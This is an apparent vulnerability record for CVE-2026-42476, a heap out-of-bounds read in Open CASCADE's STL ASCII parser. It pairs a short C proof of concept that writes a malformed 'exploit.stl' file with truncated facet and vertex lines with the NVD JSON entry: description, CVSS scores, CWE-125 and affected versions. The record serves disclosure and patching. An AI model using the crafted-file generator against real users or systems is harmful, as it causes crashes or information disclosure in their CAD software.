CVE-2026-42476

/* * PoC for CVE-2026-42476 * Generates a malformed STL file with extremely short lines * to trigger the out-of-bounds read in OCCT. */ #include <stdio.h> #include <string.h> int main() { FILE *fp = fopen("exploit.stl", "wb"); if (!fp) return 1; // A normal header is usually longer, but we use a very short one // or malformed lines to trigger the buffer validation issue. // The vulnerability triggers on lines that are too short for the expected parsing logic. // Start with a short header fprintf(fp, "solid \n"); // Facet normal with extremely short components or malformed structure // The issue occurs when the line length is insufficient for the expected comparison // e.g., checking for 'facet' but the line is just 'f' or empty. // Simulating a line that is too short for strncasecmp or direct access fprintf(fp, "facet\n"); // Shorter than expected "facet normal x y z" fprintf(fp, " outer loop\n"); fprintf(fp, " vertex\n"); // Short vertex line fprintf(fp, " endloop\n"); fprintf(fp, " endfacet\n"); fprintf(fp, "endsolid\n"); fclose(fp); printf("Malformed STL file 'exploit.stl' generated.\n"); return 0; }

{"cve": {"id": "CVE-2026-42476", "sourceIdentifier": "[email protected]", "published": "2026-05-01T15:16:43.620", "lastModified": "2026-05-01T19:16:31.773", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Two heap-based out-of-bounds read vulnerabilities in the STL ASCII file parser in Open CASCADE Technology (OCCT) V8_0_0_rc5 exist in RWStl_Reader::ReadAscii because buffers returned by Standard_ReadLineBuffer::ReadLine() are not properly length-validated before strncasecmp or direct byte access. User-assisted attackers can trigger these issues by persuading a victim to open a crafted STL file with extremely short lines, resulting in a denial of service or possible information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.9.3", "matchCriteriaId": "13B8FE30-EAE8-4F3E-8F5C-E81BD438FF6C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "0B51DDC9-FDA5-4701-8CA3-5B589D72FA88"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "57733587-FB01-4201-8509-E81B6AE94AE3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "86CF4B98-CCD3-4463-9A24-231128DDF85A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F3987B9C-2448-4281-9A5C-FB6AF0336C3B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "632D1594-AD1F-4F80-86F7-F8850F3574EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opencascade:open_cascade_technology:8.0.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "267468E1-F54F-44AF-B74F-DFD29354243B"}]}]}], "references": [{"url": "https://gist.github.com/sgInnora/dfba083d04906283e9c92aea78e2d94a", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}